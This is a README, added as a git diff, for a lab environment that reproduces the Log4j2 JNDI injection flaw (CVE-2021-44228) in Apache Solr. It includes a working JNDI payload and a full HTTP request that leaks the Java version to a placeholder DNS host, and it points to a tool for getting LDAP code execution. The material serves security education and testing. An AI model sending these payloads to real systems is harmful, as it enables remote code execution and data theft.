first commit

log4j/CVE-2021-44228/README.md

@@ -0,0 +1,55 @@
+# Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback's architecture.
+
+On Dec 2021, a 0-day exploit in the Apache Log4j2 was discovered. Log4j’s JNDI support has not restricted what names could be resolved. Some protocols like `rmi:` and `ldap:` are unsafe or can allow remote code execution.
+
+References:
+
+- https://logging.apache.org/log4j/2.x/security.html
+- https://www.lunasec.io/docs/blog/log4j-zero-day/
+- https://xz.aliyun.com/t/10649
+
+## Vulnerability Environment
+
+Apache Log4j2 is not a certain web service, it is just a third-party library, so we can use a application that depend on Log4j2 to demonstrate how to exploit this vulnerability.
+
+Execute following command to start a Apache Solr 8.11.0, which use Log4j 2.14.1:
+
+```
+docker compose up -d
+```
+
+After server start, browse `http://your-ip:8983` to see the admin portal of Apache Solr.
+
+## Exploit
+
+Simply, put the payload `${jndi:dns://${sys:java.version}.example.com}` as the admin action that can trigger the JNDI query.
+
+```
+GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
+Host: your-ip:8983
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
+Connection: close
+
+
+```
+
+Query will be shown at the DNS log:
+
+![](1.png)
+
+Because the target JDK version is below 8u191, we can use `rmi://` or `ldap://` to run the Java bytecode directly.
+
+For vulnerability exploitation, you can use the [Java Chains](https://github.com/vulhub/java-chains). First, visit the [Quick Start](https://java-chains.vulhub.org/docs/guide) page to set up Java Chains. Then, follow the [JNDI Basic Exploitation Guide](https://java-chains.vulhub.org/docs/module/jndi#jndibasicpayload) to configure the command `touch /tmp/success` and generate a JNDI LDAP URL Payload. Finally, replace the payload in the previous HTTP request to successfully exploit the vulnerability.
+
+![](2.png)
+
+As you can see, `touch /tmp/success` is succesful executed:
+
+![](3.png)